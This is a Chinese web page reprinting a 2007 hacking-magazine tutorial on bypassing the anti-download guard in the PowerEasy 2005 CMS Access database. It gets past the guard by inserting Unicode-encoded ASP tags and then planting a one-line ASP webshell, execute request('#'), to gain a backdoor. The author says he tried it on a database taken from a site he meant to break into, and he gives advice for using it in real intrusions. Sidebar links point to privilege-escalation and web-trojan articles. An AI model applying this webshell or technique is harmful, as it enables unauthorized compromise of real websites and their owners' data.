精典的ASP传奇的J2EE新生的NETFTP服务器服务器安全WINDOWSB/S 模式WEB安全WAP世界动态网站推广宣传
空间服务器数据库技术邮局服务器站長工具硬设与组建Alexa专题DHTML项目管理WEB标准电脑硬件
病毒知识电脑使用布线协议接入交换路由局域网无线网络网络规划
Visual BasicVisual C/C++MssqlMySqloracleSybase 存在安全风险进程系统进程列表应用程序进程列表其它进程列表
黑客编程漏洞分析本地提权免杀技术脚本漏洞数据库注入安全防护内网渗透加密解密工具使用
WAP技术WAP入门
 您的位置:   >> 相关知识 >> 服务器搭建 >> 服务器安全 >>

如何突破数据库的防下载进行入侵

合金网络科技

 
  添加日期:2007-11-26 点击次数:5次  
   
  此文发表于<<黑客手册>>2007年第六期,文章版权属于黑客手册。

如何突破动易2005的数据库拿shell?相信许多朋友都曾为这个问题而大伤脑筋,今天我们就一起来讨论一下如何对动易2005的数据进行突破:
用于测试的环境:

动易2005免费版下载地址:http://down.chinaz.com/s/14661.asp
此版本相对于以前的版本几乎都补了漏洞了,什么上传漏洞,在顶部菜单里写一句话,都不行了,今天也不讨论是否还存在其它的漏洞,只是讨论一下如何备份数据库来拿shell。

先来说一下动易对数据库的处理:
动易在数据库里增加了一个表:PE-NotDown
在这个表里写入了十六进制数据:3C25206C6F6F70203C25
有人会不明白这个数据到底是什么东西啊,看也看不懂,其实这一串数据是”<% loop <%”的十六进制形式。虽然在数据表中是以十六进制的形式存在,但如果将mdb的数据库以asp的形式来解析的话,那就会以字符形式显示。略懂一点asp语法的人都知道'<% loop <%'是无法闭合的,而且loop也没有任何的do或是exit do来与之配对。我也曾试过很多次,都没有将其闭合。那么到底要怎么样才能将其闭合呢,其实说出来大家一定也觉得这不是很简单的吗,呵呵。比如下面一段代码:

<% loop <%

将其保存为一个asp文件解析时会提示,没有闭合,少了(% >),如下图:
??С?

如果我们在后面加上一个'%>',还是会出错,那么到底要怎么样才能记将这段代码的功能去掉呢,大家再看下面一段代码:
<%'<% loop <%:%>
这段代码在IIS里运行是没有任何错误的,根据这段代码的原理,于是我们便有了突破的可能性,只要我们在数据库里的两个地方合适地插入'<%''和':%>'( 在数据库中有时不要冒号也可以)即可将loop的防下载给过滤掉,相信大家看到这里也应该明白是怎么回事了。
上面讲的都是原理,我在本地对动易2005的数据库进行了测试,我们来看一下测试结果.(本次测试没有任何针对性,只作研究之用,对此方法的公布,本人不负任何责任)
首先安装动易,这个版本的动易基本上修补了一些漏洞,现在不谈是否有其它漏洞,只谈对数据库进行突破。我测试用到的数据库是从一个网站上下下来的数据库,因为一直想入侵这个网站,只拿到了数据库,所以在研究过程中研究的就是这个数据库,文章中所测试也也是这个数据库。下下来之后先将数据库进行备份,以后测试都用它的一个副本进行测试,因为在改动access的数据时是有些东西要注意的(后面会提到)。我们先将动易的数据的后缀名改成asa的,然后在iis里打开,打开结果跟上一幅图是一样的,也是出现少'% >'的错误,这便是动易的防下载处理。然后我们用UltraEdit打开动易的数据库,选择十六进制编辑,然后搜索'<%'我们可以定位到如下的地方:
??С?

我们可以看到显绿的一栏里可以看到'<% loop <%'这样的语句,证实了我们前面的说法,我们继续搜索后发现只在loop的前后共有两个'<%',也就是是无法闭合的一条语句。那么我们要如何突破呢?前面也讲到了,在asp的语法里,单引号起注释的功能,我们是不是可以在它的前面加上注释的语句呢,再在另一个地方再插入闭合语句那不是可以进行突破了?打开数据库的表设计,我们先找一个地方来将它进行毕合,我们看到表PE-NotDown前后的表结构如下:
??С?

在这里,是不是可以在PE_NotDown的前面的一个表里加入代码将其后面的asp代码注释掉?进行测试吧,我选了PE_NewKeys,打开后在里面插入了一行代码,这里我用到了lake2的一个ascii2unicode的工具将代码'<%'x'(为什么后面有个x,其实用其它的字符也可以,只要转换的结果不出现问号即可)转换成'┼砧'(这样转换首先是在后台进行修改变得可行的,因为没有什么特殊字符,而且转换后的数据库改名为asa进行解析时能返回成原来的字符,如果需要知道具体情况,请去lake2的博客看),然后插入进去,如图:
??С?

保存后我们再将数据改为asa的后缀后打开,错误如第一幅图,少关闭符'% >',我们再用UltraEdit打开,搜索'<%',搜到的第一个是与第二幅图是一样的,在第458行那里找以了loop语句,继续向下搜两次,我们在19118行那里搜到了我们刚刚插入的数据库,如下图:
??С?

我们来分析一下:'<% loop <%'是PE_NotDown里的数据,而'┼砧'是PE_NewKeys里的信息,虽然在表结构里PE_NewKeys排在PE_NotDown的前面,但能过asa解析后'<% loop <%'却在前面显示,因此access的数据改成asa的解析后其数据的出现顺序是发生了变化了的。那么我们要怎么样才能让其显示在前面呢,由于不知道其具体的结构顺序,我选择了穷举法。从第一个表开始,向每个字段里插入'┼砧',然后通过UltraEdit查看,看哪个会出现在前面,每次插入数据前都是用的原始动易数据库的一个副本,因为在access里,你将某条记录删除,虽然在表结构里看不到了,但其还是存在于数据库里,用UltraEdit还是能看到,只有对数据库进行压缩后那些删除的记录才会真正的删掉(这里说的压缩并不是用winrar压缩的那一种,而且access的压缩功能)。每次插完数据后再用UltraEdit搜索字符'<%',便于更好的搜索定位.
在一次一次的测试中,当试到PE_channel这个表时,问题出现转机。我们来看一下,打开数据表,定位到PE_channel这个表,在字段ChannelName里在'研究院新闻'的后面加入'┼砧',如图:
??С?

保存后再用UltraEdit打开数据,用十六进制进行编辑,搜索'<%',我们搜到的第一个结果如下图:
??С?

此时第一个出现的'<%'就不是原来的与loop相连的那个了,也就是说我们现在在loop前面就插入了一个asp标记符'<%',此时我们还得在loop后面的某一处地方再插入'%>'才能让其闭合,同样我采用穷举法测试后找到了另一个插入点。我们在最后一个标题后面加个'┠砾'(这是由' %>x'转换过来),如下图:
??С?

保存后再用UltraEdit查看,搜索'%>x',在第7546行那里找到了我们刚刚插入的信息,如下图:
??С?

我们现在来总结一下:
一共插入了两次数据:
第一次在插入的数据'┼砧'在第189行被解析成asp语句'<%'x'
第二次插入的数据'┠砾'在第7546行被解析成asp语句'%>x'
而动易原来防下载的语句'<% loop <%'是出现在第458行,正好处于两次插入的数据中间.此时我们将数据改名*.asa后在iis里解析,结果如下图:
??С?

此时有一部分数据被解析出来了,那么我们的突破就达到了效果,于是我们想到将第一次插入的数据后面再加上'execute request('#')'不是可以拿到一个后门了?于是我将字符串“<% execute request('#')%>a<%'x”转换成Unicode字符“┼攠数畣整爠焕敌瑳∨∣┩忾┼砧”后插入到第一次插入数据的地方,如图:
??С?

再用UltraEdit查看插入的结果搜索到我们插入的数据如下图:
??С?

我们发现刚插入的数据出现在了第7405行,与第一次插的第189行,相差甚远,而且由于没有把loop语句包进去,数据库也无法解析了。于是我们只好退回到上一步,再找其它的地方下手。后来找了很久也没有找到,于是又回去研究能在IIS里显示的信息,我们看到如下图:
??С?

大家看到这里有很多的“jpg|jpeg”等什么的,我们可以想到这里是保存上传类型数据的地方,我们可不可以将一句话马插到这里让它被解析呢。好了我也不再费话了,还是重新复制一个原始数据的复本,先按原来的步骤在ChannelNamer第一个标题和最后一个标题后面插入相关数据(照前面的方法进行),然后我将一句话马“<% execute request('#')%>a”转成Unicode字符“┼攠数畣整爠焕敌瑳∨∣┩忾”后插入到以下地方,如下图:
??С?

用UltraEdit打开后在第196行搜索到“execute”,如下图:
??С?

在第189行搜索到“<%' x”,如下图:
??С?

在第483行搜索到loop,如下图:
??С?

在第7403行搜到了我们的asp闭合语句,如下图:
??С?

我已按先后顺序将其用图示标出,一句话后门在最前面,应能执行了。我们在iis里找开后得到结果如图19(打开时间有点长,根据数据库的大小):
??С?

我们的一句话马成功执行,这样就突破了数据库的防下载功能,并能通过数据备份来获得后门。
后记:写完这篇文章之后,我用了其它动易2005的数据库进行了测试,按同样的方法进行插入,但没有得到想要的结果,看来这种方法是具体数据库要具体分析的,不同的数据库插入数据的地方是不同的,即使是同一数据库,只要数据发生变化了,插入的地方也是不同的,大家如果实验的话就得先按上面的方法进行插入和定位才行,切记在入侵中不可照搬,最好先将网站数据备份,如果不行还可以还原回来。有些要注意的地方,如果数据过大,用IIS打开时IIS可能会挂掉,机子性能要好。
精典的ASP精选TOP
· 利用ADODB.Stream 防盗链
· Adodb.Stream说明手册
· 采集需要登录
· ASP 判断远程图片是否存在
· 在ServerXMLHTTP组件中使用代理服务器
· 用XMLHTTP通过代理服务器从服务提取数据的一些问题
· objXML.readystate的值
· 互联网HTTP连接等出错代码大全
· 利用XMLHTTP实现的二级连动Select
· 利用 xmlhttp 分块上传文件
 
服务器安全点击TOP
· 新云最新漏洞总结篇
· 各类网站的默认数据库和密码
· Windows Server2003 防木马权限设置IIS服务器安全配置整理
· 针对ASP网站的Win 2003硬盘安全设置
· IIS 6 的PHP 最佳配置方法
· 利用SA.exe 将Iusr_victim克隆为Administrator
· Cmd模式下的入侵技术大全
· 破解网页代码加密
· SERV-U 6.4提权方法,通杀SERV-U版本
· 新云网站管理系统文件注入漏洞
 
硬设与组建点击TOP
· 从头到尾教你组建小型局域网20
· 从头到尾教你组建小型局域网19
· 从头到尾教你组建小型局域网18
· 从头到尾教你组建小型局域网17
· 从头到尾教你组建小型局域网16
· 从头到尾教你组建小型局域网15
· 从头到尾教你组建小型局域网14
· 从头到尾教你组建小型局域网13
· 从头到尾教你组建小型局域网12
· 从头到尾教你组建小型局域网11
 
病毒知识点击TOP
· 不再重装 手动清除顽固病毒AutoRUN
· 木马静态变动态 DLL木马程序大揭秘
· 详解一个很牛X的网马
· 一个网马
· Trojan-Downloader.Win32.Delf.bab
· 抓了一个AJAX的网马
· 迅雷5 最新0day利用程序
· 自动关掉270种杀毒软件
· RealPlayer 最新网马
· 五个反弹型后门的源代码
 
WINDOWS点击TOP
· 4【系统知识】常见文件扩展名及简要说明!!! ==超详尽==
· 3【系统知识】常见文件扩展名及简要说明!!! ==超详尽==
· 2【系统知识】常见文件扩展名及简要说明!!! ==超详尽==
· 1【系统知识】常见文件扩展名及简要说明!!! ==超详尽==
· Capture an HTML document as an image
· 如何给eWebEditor编辑器加上运行代码框功能
· 给CuteEditor5增加了高亮代码显示功能
· CuteEditor6.0使用配置心得体会
· 关于IE插件的CLSID问题
· 对开发的程序(制作CAB)进行签名,并允许网站中使用
  "凌风微型文章系统",针对"搜索引擎"完美设计,提高"搜索引擎"对网站容量,质量的评估值,"扁平化,转静态 ..."